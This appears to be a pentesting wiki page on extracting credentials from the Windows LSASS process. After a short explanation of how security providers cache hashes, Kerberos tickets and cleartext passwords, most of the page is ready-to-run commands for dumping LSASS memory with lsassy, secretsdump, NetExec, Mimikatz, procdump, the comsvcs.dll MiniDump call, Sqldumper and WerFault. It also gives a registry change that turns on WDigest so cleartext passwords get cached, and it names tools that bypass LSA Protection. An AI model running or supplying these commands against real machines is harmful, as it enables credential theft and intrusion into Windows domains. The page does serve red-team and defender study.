LSASS Process

Administrator rights on the target machine are mandatory.

On a Windows machine, a common place to find credentials is the Local Security Authority Subsystem Service (LSASS) process (lsass.exe). The LSASS process is responsible for managing computer security operations, including user authentication.

Recovering LSASS memory is probably the most known technique to retrieve sensitive secrets and can contain the following elements:

User / Machine hashes.
Cleartext credentials (if wdigest is enabled).
Kerberos tickets (TGT and ST).
DPAPI cached keys.

When a user connects interactively to the computer, either by physically accessing the computer or via RDP, the user's credentials are cached in the LSASS process in order to use SSO (Single Sign-On) when a network connection is required to access other computers in the domain.

Be aware that remote users authenticated with NTLM or Kerberos will not leave the credentials cached on the computer (in the lsass process), as these protocols do not actually send the user's credentials to the computer (unless Kerberos delegation is enabled), but a proof, which may be an NTLM hash or a Kerberos ticket generated with the credentials. In summary, you cannot extract credentials from remote users authenticated with NTLM or Kerberos. In short, you cannot extract credentials from lsass for remote users authenticated with NTLM or Kerberos (unless the protocol/service explicitly sends them after authentication, as RDP does, but this has nothing to do with NTLM or Kerberos).

The credentials are cached by some of the SSPs (Security Support Providers) that are used by LSASS to provide different authentication methods. Some of the SSPs are as follows:

The Kerberos SSP manages Kerberos authentication and is responsible for storing Kerberos tickets and keys for currently connected users.
The NTLMSSP or MSV SSP manages NTLM authentication and is responsible for storing NT hashes for currently logged-in users. It does not cache the credentials used.
The Digest SSP implements the Digest access protocol used by HTTP applications. It is the SSP that stores the user password in clear text in order to calculate the digest. Although password caching has been disabled by default since Windows 2008 R2, it is still possible to enable password caching by setting the HKLM\SYSTEM\CurrentControlSet\SecurityProviders\WDigest\UseLogonCredential registry entry to 1 or by patching the Digest SSP directly in memory.

Therefore, if you can access the memory of the LSASS process, for which SeDebugPrivilege is required (usually held by administrators) since LSASS is a system process, you can retrieve the cached credentials. These cached credentials, therefore, include the user's NT hash, Kerberos keys and tickets, and possibly the user's passwords in clear text if WDigest is enabled. A good technique is to activate WDigest on a server that is often used to collect passwords in clear text. It is possible to to that by editing the following registry HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential to REG_DWORD - 1.

Practical Exploitation:

Lsassy is a tool written in Python by Pixis that can be used to remotely extract identification information from the LSASS process on several machines.

Lsassy includes several well-known dumping methods such as comsvcs.dll, ProcDump, nanodump, PPLDump, etc. Lsassy has also been integrated as a module in the NetExec tool.

# Lsassy script 
lsassy -u <USER> -p <PASSWORD> <TARGETS>

Secretsdump:

secretsdump.py <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET>

CrackMapExec:

# Lsassy module
nxc smb <TARGETS> -u <USER> -p <PASSWORD> -M lsassy
nxc smb <TARGETS> -u <USER> -p <PASSWORD> -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=<NEO4J_PASSWORD>

Powershell Obfuscation:

Obfuscated LSASS dump commandBadOption.eu

Mimikatz:

privilege::debug
sekurlsa::minidump C:\mem.dmp
sekurlsa::longonpasswords

Procdump (Sysinternals):

# Find the PID of the LSASS.exe process
get-process lsass

# Dump lsass.exe
procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp

# Use directly the LSASS pid
procdump.exe -accepteula -ma <LSASS_PID> out.dmp

COMSVCS:

The Minidump function from COMSVCS DLL can be used to dump LSASS:

.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\temp\lsass.dmp full

SQLDumper:

The Sqldumper.exe utility is included with Microsoft SQL Server. It generates memory dumps of SQL Server and related processes for debugging purposes. This article explains how to use the Sqldumper.exe utility to generate a dump file for Watson error reports or debugging tasks.

Sqldumper.exe <ProcessID> 0 0x0128

WerFault:

WerFault.exe -u -p <target process> -ip <source process> -s <file mapping handle>

Process Hacker/Task Manager

LSASS process -> Create Dump

LSA Protection

Since then, Microsoft has implemented more protection around the LSASS process. With Windows Server 2012 R2 and 8.1 there is a feature called LSA (Local Security Authority) Protection according to the following Microsoft page it is possible to run LSASS as a protected process. Here's the registry key responsible for this: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL.

Do You Really Know About LSA Protection (RunAsPPL)?itm4n’s blog

While there exists a workaround, like modifying a driver or bypass the signature verification code, it had become more difficult to dump the LSASS process, but not impossible.

After the use of PPLDump, PPLMedic, the latest solution that has been found is PPLFault.